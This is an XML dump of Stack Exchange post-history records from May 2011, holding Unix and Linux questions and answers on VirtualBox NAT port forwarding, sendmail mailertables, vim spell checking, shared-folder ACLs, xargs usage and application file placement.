  <row Id="31696" PostHistoryTypeId="14" PostId="12881" RevisionGUID="48ec32db-3165-4d8d-ab05-c085bd132157" CreationDate="2011-05-09T13:47:38.220" UserId="-1" Text="[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;}]" />
  <row Id="31697" PostHistoryTypeId="17" PostId="12881" RevisionGUID="0b2900f3-8bb1-40bc-95fe-298645ed7db1" CreationDate="2011-05-09T13:47:38.203" UserId="-1" Comment="to http://stackoverflow.com/questions/5937757/want-to-know-the-essid-of-wireless-network-via-c-in-ubuntu" Text="[{&quot;Id&quot;:885,&quot;DisplayName&quot;:&quot;Gilles&quot;},{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="31698" PostHistoryTypeId="10" PostId="12881" RevisionGUID="ada4ad2d-6c86-4148-a1be-d0f8736f777d" CreationDate="2011-05-09T13:47:37.753" UserId="-1" CloseReasonId="2" Text="[{&quot;Id&quot;:885,&quot;DisplayName&quot;:&quot;Gilles&quot;},{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="31699" PostHistoryTypeId="5" PostId="12609" RevisionGUID="279a91c0-5cf0-47b0-a3e8-e57bd00f536d" CreationDate="2011-05-09T13:53:11.607" UserId="1835" Comment="add 'maxdepth' to find illustration" Text="It depends on some nuances of your text editor.  Advanced editors can probably handle opening multiple files from the command line in one instance. But say, for example, that your editor ($EDITOR in my examples below) can only open one at a time.  You should pipe the output of an appropriate `find` into `xargs`.  This also depends on the $EDITOR not taking over the TTY (so, using a graphical one)&#xD;&#xA;&#xD;&#xA;    find . -maxdepth 1 -type f -name '*.c' -print0 | xargs -r0n 1 $EDITOR&#xD;&#xA;&#xD;&#xA;If you want to use a console editor, a shell loop might be more appropriate, but if will fail for many uncommon filenames (by collapsing or substituting whitespace characters and various other things):&#xD;&#xA;&#xD;&#xA;    for i in *.c; do $EDITOR &quot;$i&quot;; done&#xD;&#xA;" />
  <row Id="31700" PostHistoryTypeId="2" PostId="12885" RevisionGUID="0f2f2006-ccf6-43d3-9cb7-06c69a364405" CreationDate="2011-05-09T13:59:11.007" UserId="6960" Text="Using Fedora or Ubuntu for host, firewalls turned off on each side (vbox guest&amp;host)&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;What do I have to do to reach the guest machine just like it would be in a bridged interface? (Only from the vbox host!)&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Any help would be appreciated, thanks!" />
  <row Id="31701" PostHistoryTypeId="1" PostId="12885" RevisionGUID="0f2f2006-ccf6-43d3-9cb7-06c69a364405" CreationDate="2011-05-09T13:59:11.007" UserId="6960" Text="How to reach a Vbox guest from host when using NAT networking" />
  <row Id="31702" PostHistoryTypeId="3" PostId="12885" RevisionGUID="0f2f2006-ccf6-43d3-9cb7-06c69a364405" CreationDate="2011-05-09T13:59:11.007" UserId="6960" Text="évirtualboxà" />
  <row Id="31703" PostHistoryTypeId="2" PostId="12886" RevisionGUID="735de0c2-dc9f-4603-84c0-c6d43fcb7206" CreationDate="2011-05-09T14:01:50.303" UserId="1925" Text="VirtualBox will provide your system with a virtual interface that has an IP on the network that it will add the NATed machines to. From your host system you should automatically be able to reach the IPs that are given to the guests." />
  <row Id="31704" PostHistoryTypeId="5" PostId="12885" RevisionGUID="519ce2af-137e-4819-93e4-944787ae072b" CreationDate="2011-05-09T14:02:49.350" UserId="1925" Comment="deleted 28 characters in body" Text="Using Fedora or Ubuntu for the host with firewalls turned off on each side (vbox guest&amp;host), what do I have to do to reach the guest machine using a NAT interface just like it would be with a bridged interface? (Only from the vbox host!)" />
  <row Id="31705" PostHistoryTypeId="5" PostId="12878" RevisionGUID="d200755a-bf2f-4e2f-9f36-88043415187a" CreationDate="2011-05-09T14:04:50.063" UserId="3645" Comment="added 92 characters in body" Text="This is because what you want is to pass a literal empty string to `curl`, but what you get is a set of literal quotes since they are already quoted. One [reference][1] points to [another][2] which simply recommends using a function:&#xD;&#xA;&#xD;&#xA;    download(){&#xD;&#xA;        curl http://somepage &quot;$@&quot;&#xD;&#xA;    }&#xD;&#xA;    download -x ''&#xD;&#xA;&#xD;&#xA;If you want to observe what your script is actually doing, try running `set -x` before it.&#xD;&#xA;&#xD;&#xA;  [1]: http://mywiki.wooledge.org/BashFAQ/050&#xD;&#xA;  [2]: http://mywiki.wooledge.org/Arguments#Conclusion" />
  <row Id="31706" PostHistoryTypeId="5" PostId="12885" RevisionGUID="3d356621-7760-456d-852d-81c304269373" CreationDate="2011-05-09T14:05:56.570" UserId="6960" Comment="added 1172 characters in body" Text="Using Fedora or Ubuntu for the host with firewalls turned off on each side (vbox guest&amp;host), what do I have to do to reach the guest machine using a NAT interface just like it would be with a bridged interface? (Only from the vbox host!)&#xD;&#xA;&#xD;&#xA;UPDATE #1&#xD;&#xA;ifconfig on the host machine:&#xD;&#xA;&#xD;&#xA;	# ifconfig -a&#xD;&#xA;	eth0      Link encap:Ethernet  HWaddr 00:41:56:6B:78:4E  &#xD;&#xA;		  inet addr:192.168.1.2  Bcast:.192.168.1.255  Mask:255.255.255.0&#xD;&#xA;		  UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1&#xD;&#xA;		  RX packets:271850 errors:0 dropped:0 overruns:0 frame:0&#xD;&#xA;		  TX packets:144494 errors:0 dropped:0 overruns:0 carrier:0&#xD;&#xA;		  collisions:0 txqueuelen:1000 &#xD;&#xA;		  RX bytes:256776500 (244.8 MiB)  TX bytes:10670238 (10.1 MiB)&#xD;&#xA;		  Interrupt:16 Memory:fc500000-fc520000 &#xD;&#xA;&#xD;&#xA;	lo        Link encap:Local Loopback  &#xD;&#xA;		  inet addr:127.0.0.1  Mask:255.0.0.0&#xD;&#xA;		  UP LOOPBACK RUNNING  MTU:16436  Metric:1&#xD;&#xA;		  RX packets:77698 errors:0 dropped:0 overruns:0 frame:0&#xD;&#xA;		  TX packets:77698 errors:0 dropped:0 overruns:0 carrier:0&#xD;&#xA;		  collisions:0 txqueuelen:0 &#xD;&#xA;		  RX bytes:104227086 (99.3 MiB)  TX bytes:104227086 (99.3 MiB)&#xD;&#xA;&#xD;&#xA;	vboxnet0  Link encap:Ethernet  HWaddr 0A:00:27:00:00:00  &#xD;&#xA;		  BROADCAST MULTICAST  MTU:1500  Metric:1&#xD;&#xA;		  RX packets:0 errors:0 dropped:0 overruns:0 frame:0&#xD;&#xA;		  TX packets:0 errors:0 dropped:0 overruns:0 carrier:0&#xD;&#xA;		  collisions:0 txqueuelen:1000 &#xD;&#xA;		  RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)&#xD;&#xA;&#xD;&#xA;	# " />
  <row Id="31707" PostHistoryTypeId="5" PostId="12886" RevisionGUID="63f69fad-e692-47a8-b080-f435861b03c4" CreationDate="2011-05-09T14:15:55.917" UserId="1925" Comment="added 137 characters in body" Text="According to [this documentation][1], current versions of VirtualBox do not expose the internal NAT interfaces to the host machine. You may configure special port forwarding rules to reach the boxes, but even the host is not able to reach the whole interface. You should used bridged networking for that.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.virtualbox.org/manual/ch06.html#network_nat" />
  <row Id="31708" PostHistoryTypeId="2" PostId="12887" RevisionGUID="8d2d4311-ae40-4252-b91a-8973e5c39dca" CreationDate="2011-05-09T14:17:05.917" UserId="4843" Text="You need to add an IP to the vboxnet0 [ It should get an IP at boot-up time only, anyway ], and then assign the IP from same subnet to the eth0 of the guest operating system. In that case you will have the connectivity between your host and guest OS. { I tried this in VMWare and it works fine }" />
  <row Id="31709" PostHistoryTypeId="2" PostId="12888" RevisionGUID="b265aad5-9aa6-476a-9246-a4bf4901812d" CreationDate="2011-05-09T14:17:12.710" UserId="7340" Text="I'm having trouble getting my mailertable to work....&#xD;&#xA;&#xD;&#xA;    /etc/mail/sendmail.mc contains this line&#xD;&#xA;    FEATURE(`mailertable', `hash -o /etc/mail/mailertable.db')dnl&#xD;&#xA;&#xD;&#xA;    /etc/mail/mailertable contains this line&#xD;&#xA;    domain1.com        esmtp:[10.210.5.22]&#xD;&#xA;&#xD;&#xA;I ran these to &quot;recompile&quot; the settings...&#xD;&#xA;&#xD;&#xA;    makemap hash /etc/mail/mailertable.db &lt; /etc/mail/mailertable&#xD;&#xA;    m4 /etc/mail/sendmail.mc &gt; /etc/mail/sendmail.cf&#xD;&#xA;    service sendmail restart&#xD;&#xA;Then tried to send a test&#xD;&#xA;&#xD;&#xA;    $ mail -s &quot;test email&quot; aaron@domain1.com&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ tail -f /var/log/maillog&#xD;&#xA;    May  9 10:03:14 npsetl005 sendmail[27779]: p49E3EG0027777: to=&lt;aaron@www.domain1.com&gt;, ctladdr=&lt;root@npsetl005.domain.domain1.pri&gt; (0/0), delay=00:00:00, xdelay=00:00:00, mailer=esmtp, pri=120350, relay=www.domain1.com. [172.16.1.47], dsn=4.0.0, stat=Deferred: Connection refused by www.domain1.com.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;We have this stupid problem on our internal network where DNS and MX records aren't really set up 100 percent correctly. Getting permission to change it, and test it are way beyond the scope of this question; So I just want sendmail to ignore what's in DNS and fire messages straight to our internal relay server (which works for dozens of other clients) - but it's not doing that. You can see that it's rewriting the addresses to user@www.domain1.com because the parent *.domain1.com is a cname to www.domain1.com (someone did this as a poor mans redirect. So if a user tries to go to a subdomain that doesn't exist, they go to the root website instead... I know. I know.)&#xD;&#xA;&#xD;&#xA;What did I miss?" />
  <row Id="31710" PostHistoryTypeId="1" PostId="12888" RevisionGUID="b265aad5-9aa6-476a-9246-a4bf4901812d" CreationDate="2011-05-09T14:17:12.710" UserId="7340" Text="sendmail not using mailertable..." />
  <row Id="31711" PostHistoryTypeId="3" PostId="12888" RevisionGUID="b265aad5-9aa6-476a-9246-a4bf4901812d" CreationDate="2011-05-09T14:17:12.710" UserId="7340" Text="ésendmailà" />
  <row Id="31712" PostHistoryTypeId="2" PostId="12889" RevisionGUID="c51cf463-9d3e-4ff6-a4cb-de920108d1a0" CreationDate="2011-05-09T14:23:36.470" UserId="3635" Text="Is there a way to spell check a file using vim?" />
  <row Id="31713" PostHistoryTypeId="1" PostId="12889" RevisionGUID="c51cf463-9d3e-4ff6-a4cb-de920108d1a0" CreationDate="2011-05-09T14:23:36.470" UserId="3635" Text="vim spell checker?" />
  <row Id="31714" PostHistoryTypeId="3" PostId="12889" RevisionGUID="c51cf463-9d3e-4ff6-a4cb-de920108d1a0" CreationDate="2011-05-09T14:23:36.470" UserId="3635" Text="évimà" />
  <row Id="31715" PostHistoryTypeId="2" PostId="12890" RevisionGUID="278577af-3ecc-4290-8551-6d02b188cf03" CreationDate="2011-05-09T14:26:06.903" UserId="1925" Text="If you have a spell checker installed on your system, vim will usually find it.&#xD;&#xA;&#xD;&#xA;    :set spell" />
  <row Id="31716" PostHistoryTypeId="5" PostId="12890" RevisionGUID="51732d3c-a7c4-4db5-a47c-9425ff439541" CreationDate="2011-05-09T14:31:24.323" UserId="1925" Comment="added 401 characters in body" Text="If you have a spell checker installed on your system, vim will usually find it. If not you will need to install `ispell`, `aspell`, `hunspell` or a similar system as well as support files for the language you want to check.&#xD;&#xA;&#xD;&#xA;    :set spell&#xD;&#xA;&#xD;&#xA;Here is [an answer on StackOverflow][1] with keybindings and a [quick little tutorial][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/640351/how-can-i-spellcheck-in-gvim/640362#640362&#xD;&#xA;  [2]: http://tips.webdesign10.com/vim/how-use-vims-spellchecker" />
  <row Id="31717" PostHistoryTypeId="5" PostId="12890" RevisionGUID="9313b4a8-4976-46c4-a1bc-a8ce8d73dfba" CreationDate="2011-05-09T14:38:43.843" UserId="1925" Comment="added 15 characters in body" Text="If you have a spell checker installed on your system, vim will usually find it. If not you will need to install `ispell`, `aspell`, `hunspell` or a similar system as well as support files for the language you want to check.&#xD;&#xA;&#xD;&#xA;    :set spell&#xD;&#xA;&#xD;&#xA;Here is [an answer on StackOverflow][1] with keybindings and also a [quick little tutorial][2] for usage.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/640351/how-can-i-spellcheck-in-gvim/640362#640362&#xD;&#xA;  [2]: http://tips.webdesign10.com/vim/how-use-vims-spellchecker" />
  <row Id="31718" PostHistoryTypeId="5" PostId="12888" RevisionGUID="7bf8631d-53c2-473d-8333-7ee6eb247ade" CreationDate="2011-05-09T14:47:56.030" UserId="7340" Comment="added 139 characters in body" Text="I'm having trouble getting my mailertable to work....&#xD;&#xA;&#xD;&#xA;    /etc/mail/sendmail.mc contains this line&#xD;&#xA;    FEATURE(`mailertable', `hash -o /etc/mail/mailertable.db')dnl&#xD;&#xA;&#xD;&#xA;    /etc/mail/mailertable contains this line&#xD;&#xA;    domain1.com        esmtp:[10.210.5.22]&#xD;&#xA;&#xD;&#xA;I ran these to &quot;recompile&quot; the settings...&#xD;&#xA;&#xD;&#xA;    makemap hash /etc/mail/mailertable.db &lt; /etc/mail/mailertable&#xD;&#xA;    m4 /etc/mail/sendmail.mc &gt; /etc/mail/sendmail.cf&#xD;&#xA;    service sendmail restart&#xD;&#xA;Then tried to send a test&#xD;&#xA;&#xD;&#xA;    $ mail -s &quot;test email&quot; aaron@domain1.com&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ tail -f /var/log/maillog&#xD;&#xA;    May  9 10:03:14 npsetl005 sendmail[27779]: p49E3EG0027777: to=&lt;aaron@www.domain1.com&gt;, ctladdr=&lt;root@npsetl005.domain.domain1.pri&gt; (0/0), delay=00:00:00, xdelay=00:00:00, mailer=esmtp, pri=120350, relay=www.domain1.com. [172.16.1.47], dsn=4.0.0, stat=Deferred: Connection refused by www.domain1.com.&#xD;&#xA;&#xD;&#xA;Contents of the mailertable.db file&#xD;&#xA;&#xD;&#xA;    root@npsetl005:/etc/mail$ strings mailertable.db&#xD;&#xA;    esmtp:[10.210.5.22]&#xD;&#xA;    domain1.com&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;We have this stupid problem on our internal network where DNS and MX records aren't really set up 100 percent correctly. Getting permission to change it, and test it are way beyond the scope of this question; So I just want sendmail to ignore what's in DNS and fire messages straight to our internal relay server (which works for dozens of other clients) - but it's not doing that. You can see that it's rewriting the addresses to user@www.domain1.com because the parent *.domain1.com is a cname to www.domain1.com (someone did this as a poor mans redirect. So if a user tries to go to a subdomain that doesn't exist, they go to the root website instead... I know. I know.)&#xD;&#xA;&#xD;&#xA;What did I miss?" />
  <row Id="31720" PostHistoryTypeId="2" PostId="12891" RevisionGUID="4e50ed25-cf2f-4498-9740-d0ca27da33e0" CreationDate="2011-05-09T15:06:26.433" UserId="7341" Text="Hi all,&#xD;&#xA;&#xD;&#xA;I have two linux install on my computer, with /home on a different partition but shared for the two install. and each install have a different username to avoid conflicts. The thing is I'm a developer, I don't want mix users, but I want to setup permission for a shared folder.&#xD;&#xA;&#xD;&#xA;Example, &#xD;&#xA;&#xD;&#xA; - Ubuntu, main user: raul, home folder: /home/raul&#xD;&#xA; - Fedora, main user: ricardo, home folder: /home/ricardo&#xD;&#xA; - I want a /home/shared where raul &amp; ricardo have permission over this folder, maybe www-data and root, but any other user on any linux distro.&#xD;&#xA;&#xD;&#xA;I'll hope can understand want I want, and thank in advance to all for your time" />
  <row Id="31721" PostHistoryTypeId="1" PostId="12891" RevisionGUID="4e50ed25-cf2f-4498-9740-d0ca27da33e0" CreationDate="2011-05-09T15:06:26.433" UserId="7341" Text="How can I setup group permission for different user on multiple linux installation?" />
  <row Id="31722" PostHistoryTypeId="3" PostId="12891" RevisionGUID="4e50ed25-cf2f-4498-9740-d0ca27da33e0" CreationDate="2011-05-09T15:06:26.433" UserId="7341" Text="élinuxàépermissionsàéfileösharingà" />
  <row Id="31723" PostHistoryTypeId="2" PostId="12892" RevisionGUID="fa998919-0fef-452a-87dc-d2145dfe62cf" CreationDate="2011-05-09T15:11:18.897" UserId="6960" Text="THANK YOU it's working!&#xD;&#xA;&#xD;&#xA;forwards all TCP traffic arriving on the localhost interface (127.0.0.1) via port 33890 to port 3389 in the guest&#xD;&#xA;&#xD;&#xA;	VBoxManage modifyvm &quot;xp&quot; --natpf1 &quot;guestrdp,tcp,127.0.0.1,33890,,3389&quot;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31724" PostHistoryTypeId="25" PostId="12891" RevisionGUID="b8054554-4d91-4ebe-b248-fb00e561a3ac" CreationDate="2011-05-09T15:11:34.157" Comment="http://twitter.com/#!/StackUnix/status/67607648144596994" />
  <row Id="31726" PostHistoryTypeId="2" PostId="12894" RevisionGUID="6bd476cc-a5b2-4d8c-9d48-310f8c78fe05" CreationDate="2011-05-09T15:16:29.023" UserId="4671" Text="Not sure exactly what your question is. Can you be more specific? &#xD;&#xA;&#xD;&#xA;Do you want to know how to set up a shared folder/partition? If so, you could just set up a group in each installation with the same group id. Then perhaps use acl to make sure group has `rw` permission to the partition." />
  <row Id="31727" PostHistoryTypeId="5" PostId="12894" RevisionGUID="56a5c7c8-0057-489a-a14a-377404f81be9" CreationDate="2011-05-09T15:23:03.390" UserId="4671" Comment="added 359 characters in body" Text="Not sure exactly what your question is. Can you be more specific? &#xD;&#xA;&#xD;&#xA;Do you want to know how to set up a shared folder/partition? If so, you could just set up a group in each installation with the same group id. Then perhaps use acl to make sure group has `rw` permission to the partition.&#xD;&#xA;&#xD;&#xA;`man addgroup` says&#xD;&#xA;&#xD;&#xA;&gt; A  GID  will  be chosen from the range&#xD;&#xA;&gt; specified for system GIDS in the&#xD;&#xA;&gt; configuration file (FIRST_GID,&#xD;&#xA;&gt; LAST_GID). To override that mechanism&#xD;&#xA;&gt; you can give&#xD;&#xA;&gt;        the GID using the --gid option.&#xD;&#xA;&#xD;&#xA;So you could do&#xD;&#xA;&#xD;&#xA;    addgroup [options] [--gid ID] group&#xD;&#xA;&#xD;&#xA;where `group` and `ID` is the same in both installations." />
  <row Id="31728" PostHistoryTypeId="2" PostId="12895" RevisionGUID="8b1a787a-6fc3-4c97-98a6-07c7a80d2774" CreationDate="2011-05-09T15:27:16.090" UserId="7343" Text="In which directories should I place the following?  &#xD;&#xA;I have an application with few .net assemblies, a default database (containing default application settings), a directory with 100's of images, a directory for sounds (e.g. mp3's).&#xD;&#xA;&#xD;&#xA;e.g.  &#xD;&#xA;&#xD;&#xA;somedir/myapp.exe  &#xD;&#xA;somedir/myassembly1.dll  &#xD;&#xA;somedir/myassembly2.dll  &#xD;&#xA;&#xD;&#xA;somedir/images/1/image1.png  &#xD;&#xA;somedir/images/1/image2.png  &#xD;&#xA;somedir/images/2/image1.png  &#xD;&#xA;&#xD;&#xA;somedir/sounds/1/sound1.mp3  &#xD;&#xA;somedir/sounds/1/sound2.mp3  &#xD;&#xA;somedir/sounds/2/sound1.mp3  &#xD;&#xA;&#xD;&#xA;A requirement is that I want to allow my user to replace the sounds and images as they see fit so basically that path (e.g. /var or /usr) should typically have write access to a normal user.&#xD;&#xA;" />
  <row Id="31729" PostHistoryTypeId="1" PostId="12895" RevisionGUID="8b1a787a-6fc3-4c97-98a6-07c7a80d2774" CreationDate="2011-05-09T15:27:16.090" UserId="7343" Text="Placement of application and user files on linux system" />
  <row Id="31730" PostHistoryTypeId="3" PostId="12895" RevisionGUID="8b1a787a-6fc3-4c97-98a6-07c7a80d2774" CreationDate="2011-05-09T15:27:16.090" UserId="7343" Text="édirectoryöstructureà" />
  <row Id="31731" PostHistoryTypeId="5" PostId="12894" RevisionGUID="95291c79-5df2-4ac1-b343-a90ba25d7c48" CreationDate="2011-05-09T15:28:06.323" UserId="4671" Comment="added 485 characters in body" Text="Not sure exactly what your question is. Can you be more specific? Specifically, I'm having difficulty parsing&#xD;&#xA;&#xD;&#xA;&gt; I want a /home/shared where raul &amp;&#xD;&#xA;&gt; ricardo have permission over this&#xD;&#xA;&gt; folder, maybe www-data and root, but&#xD;&#xA;&gt; any other user on any linux distro.&#xD;&#xA;&#xD;&#xA;Do you want to know how to set up a shared folder/partition? If so, you could just set up a group in each installation with the same group id. Then perhaps use acl to make sure group has `rw` permission to the partition.&#xD;&#xA;&#xD;&#xA;`man addgroup` says&#xD;&#xA;&#xD;&#xA;&gt; A  GID  will  be chosen from the range&#xD;&#xA;&gt; specified for system GIDS in the&#xD;&#xA;&gt; configuration file (FIRST_GID,&#xD;&#xA;&gt; LAST_GID). To override that mechanism&#xD;&#xA;&gt; you can give&#xD;&#xA;&gt;        the GID using the --gid option.&#xD;&#xA;&#xD;&#xA;So you could do&#xD;&#xA;&#xD;&#xA;    addgroup [options] [--gid ID] group&#xD;&#xA;&#xD;&#xA;where `group` and `ID` is the same in both installations.&#xD;&#xA;&#xD;&#xA;For a tutorial about acl see [Using ACLs with Fedora Core 2](http://www.vanemery.com/Linux/ACL/linux-acl.html), and see my [answer](http://unix.stackexchange.com/questions/12842/permission-of-saved-files/12846#12846) to a recent question about sharing a directory between two users." />
  <row Id="31732" PostHistoryTypeId="2" PostId="12896" RevisionGUID="0382ff3b-7fdd-49b2-a49b-d1342bd655d0" CreationDate="2011-05-09T15:31:22.670" UserId="1925" Text="If your application needs to be modifiable by a user, you should not be installing it to the system but have them do some kind of local-install to their user home folder. `$HOME/yourapp/{bin,images,sounds}` etc.&#xD;&#xA;&#xD;&#xA;Most system paths like /var, /usr, are not and should not be write accessible by users.&#xD;&#xA;&#xD;&#xA;The alternative is to install your app normally, but create a sort of overlay in $HOME/.yourapp that includes all the things the user has changed that are different from the system defaults." />
  <row Id="31733" PostHistoryTypeId="12" PostId="12892" RevisionGUID="d5bc494e-e2ff-41d8-85d4-a585d902a75d" CreationDate="2011-05-09T15:36:57.897" UserId="73" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="31734" PostHistoryTypeId="13" PostId="12892" RevisionGUID="016896b9-fb5b-4cf1-ab61-6fc5d073ff73" CreationDate="2011-05-09T15:38:00.270" UserId="73" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="31736" PostHistoryTypeId="5" PostId="12891" RevisionGUID="53d3d385-f0cc-4ab7-b943-d7252bb733e4" CreationDate="2011-05-09T15:56:52.763" UserId="4843" Comment="Clearing last statement" Text="I have two linux install on my computer, with /home on a different partition but shared for the two install. and each install have a different username to avoid conflicts. The thing is I'm a developer, I don't want mix users, but I want to setup permission for a shared folder.&#xD;&#xA;&#xD;&#xA;Example, &#xD;&#xA;&#xD;&#xA; - Ubuntu, main user: raul, home folder: /home/raul&#xD;&#xA; - Fedora, main user: ricardo, home folder: /home/ricardo&#xD;&#xA; - I want a /home/shared where raul &amp; ricardo have permission over this folder, maybe www-data and root, but any other user on any linux distro.&#xD;&#xA;&#xD;&#xA;I hope you got my problem.&#xD;&#xA;" />
  <row Id="31737" PostHistoryTypeId="24" PostId="12891" RevisionGUID="53d3d385-f0cc-4ab7-b943-d7252bb733e4" CreationDate="2011-05-09T15:56:52.763" Comment="Proposed by 4843 approved by 1925 edit id of 361" />
  <row Id="31738" PostHistoryTypeId="5" PostId="12846" RevisionGUID="67407cbd-904c-40ac-8af2-640f5e3a9ff8" CreationDate="2011-05-09T15:59:15.773" UserId="4671" Comment="minor edits for clarity" Text="This question is a good fit for linux [`acl`](http://en.wikipedia.org/wiki/Access_control_list). Since you don't state your OS, I'll assume Linux in what follows. Here is an example session.&#xD;&#xA;&#xD;&#xA;I don't know of a really good `acl` tutorial, but you could do worse than http://www.vanemery.com/Linux/ACL/linux-acl.html&#xD;&#xA;&#xD;&#xA;Note that the default `acl` behaves like a local umask. Since at least in Linux, umasks are applied globally, this is the only way I know to get the effect of a local umask. For some reason this a little known feature. The net is littered with people asking about a local umask override, but almost nobody seems to think of using `acl`.&#xD;&#xA;&#xD;&#xA;Also note that you need to mount the partition you are working in with `acl` support, eg.&#xD;&#xA;&#xD;&#xA;    /dev/mapper/debian-acl /mnt/acl        ext3    defaults,acl        0       2&#xD;&#xA;&#xD;&#xA;Session follows:&#xD;&#xA;&#xD;&#xA;    /mnt/acl$ mkdir foo&#xD;&#xA;    /mnt/acl$ getfacl foo&#xD;&#xA;    # file: foo&#xD;&#xA;    # owner: faheem&#xD;&#xA;    # group: faheem&#xD;&#xA;    user::rwx&#xD;&#xA;    group::r-x&#xD;&#xA;    other::r-x&#xD;&#xA;&#xD;&#xA;Set the group of `foo` to be `staff`, and set the acl of group and user of `foo` to `rwx`.&#xD;&#xA;&#xD;&#xA;    /mnt/acl$ chgrp staff foo&#xD;&#xA;    /mnt/acl$ setfacl -R -m u::rwx,g::rwx foo&#xD;&#xA;    /mnt/acl$ getfacl foo&#xD;&#xA;    # file: foo&#xD;&#xA;    # owner: faheem&#xD;&#xA;    # group: staff&#xD;&#xA;    user::rwx&#xD;&#xA;    group::rwx&#xD;&#xA;    other::r-x&#xD;&#xA;&#xD;&#xA;Set default acls of user and group to `rwx` as well. This defines permissions that files and directories inherit from `foo`. So all files and directories created under foo will have group permissions `rw`.&#xD;&#xA;&#xD;&#xA;    /mnt/acl$ setfacl -d --set u::rwx,g::rwx,o::- foo&#xD;&#xA;    /mnt/acl$ getfacl foo&#xD;&#xA;    # file: foo&#xD;&#xA;    # owner: faheem&#xD;&#xA;    # group: staff&#xD;&#xA;    user::rwx&#xD;&#xA;    group::rwx&#xD;&#xA;    other::r-x&#xD;&#xA;    default:user::rwx&#xD;&#xA;    default:group::rwx&#xD;&#xA;    default:other::---&#xD;&#xA;&#xD;&#xA;Now create some files in `foo` as users `faheem` and `john`.&#xD;&#xA;&#xD;&#xA;    /mnt/acl$ cd foo&#xD;&#xA;    /mnt/acl/foo$ touch bar&#xD;&#xA; &#xD;&#xA;    # switch to user john for this next command.&#xD;&#xA;&#xD;&#xA;    /mnt/acl/foo$ touch baz&#xD;&#xA;&#xD;&#xA;List files. Notice that files owned by both `faheem` and `john`'s are created with group permissions `rw`.&#xD;&#xA;&#xD;&#xA;    /mnt/acl/foo$ ls -la&#xD;&#xA;    total 3&#xD;&#xA;    drwxrwxr-x+ 2 faheem staff  1024 May  9 01:22 .&#xD;&#xA;    drwxr-xr-x  4 faheem faheem 1024 May  9 01:20 ..&#xD;&#xA;    -rw-rw----  1 faheem faheem    0 May  9 01:20 bar&#xD;&#xA;    -rw-rw----  1 john   john      0 May  9 01:22 baz&#xD;&#xA;" />
  <row Id="31739" PostHistoryTypeId="5" PostId="12894" RevisionGUID="0f613813-c760-4b7f-a669-3f7ecb5245db" CreationDate="2011-05-09T16:07:10.890" UserId="4671" Comment="added 277 characters in body; deleted 40 characters in body" Text="Not sure exactly what your question is. Can you be more specific? Specifically, I'm having difficulty parsing&#xD;&#xA;&#xD;&#xA;&gt; I want a /home/shared where raul &amp;&#xD;&#xA;&gt; ricardo have permission over this&#xD;&#xA;&gt; folder, maybe www-data and root, but&#xD;&#xA;&gt; any other user on any linux distro.&#xD;&#xA;&#xD;&#xA;Do you want to know how to set up a shared folder/partition? If so, you could just set up a group in each installation with the same group id. Then perhaps use acl to make sure group has `rw` permission to the partition.&#xD;&#xA;&#xD;&#xA;`man addgroup` says&#xD;&#xA;&#xD;&#xA;&gt; A  GID  will  be chosen from the range&#xD;&#xA;&gt; specified for system GIDS in the&#xD;&#xA;&gt; configuration file (FIRST_GID,&#xD;&#xA;&gt; LAST_GID). To override that mechanism&#xD;&#xA;&gt; you can give&#xD;&#xA;&gt;        the GID using the --gid option.&#xD;&#xA;&#xD;&#xA;So you could do&#xD;&#xA;&#xD;&#xA;    addgroup [options] [--gid ID] group&#xD;&#xA;&#xD;&#xA;where `group` and `ID` is the same in both installations. Set up a `raul` and `ricardo` user on each installation, and with the same uids.Then add both `raul` and `ricardo` to the group in each installation. &#xD;&#xA;&#xD;&#xA;For a tutorial about acl see [Using ACLs with Fedora Core 2](http://www.vanemery.com/Linux/ACL/linux-acl.html), and see my [answer](http://unix.stackexchange.com/questions/12842/permission-of-saved-files/12846#12846) to a recent question about sharing a directory between two users. Obviously, you'll need to mount the partition with acl support on both installations." />
  <row Id="31740" PostHistoryTypeId="2" PostId="12897" RevisionGUID="b2a234bf-4f03-4387-8545-c27a438c6238" CreationDate="2011-05-09T16:11:02.060" UserId="6960" Text="I add a rule: &#xD;&#xA;&#xD;&#xA;	VBoxManage modifyvm &quot;xp&quot; --natpf1 &quot;guestrdp,tcp,127.0.0.1,33890,,3389&quot;&#xD;&#xA;&#xD;&#xA;I list it: &#xD;&#xA;&#xD;&#xA;	VBoxManage showvminfo &quot;xp&quot; | awk '/NIC/ &amp;&amp; /Rule/ {print}'&#xD;&#xA;	NIC 1 Rule(0):   name = guestrdp, protocol = tcp, host ip = 127.0.0.1, host port = 33890, guest ip = , guest port = 3389&#xD;&#xA;&#xD;&#xA;But how can I delete it?" />
  <row Id="31741" PostHistoryTypeId="1" PostId="12897" RevisionGUID="b2a234bf-4f03-4387-8545-c27a438c6238" CreationDate="2011-05-09T16:11:02.060" UserId="6960" Text="How to delete VirtualBox networking rule?" />
  <row Id="31742" PostHistoryTypeId="3" PostId="12897" RevisionGUID="b2a234bf-4f03-4387-8545-c27a438c6238" CreationDate="2011-05-09T16:11:02.060" UserId="6960" Text="évirtualboxà" />
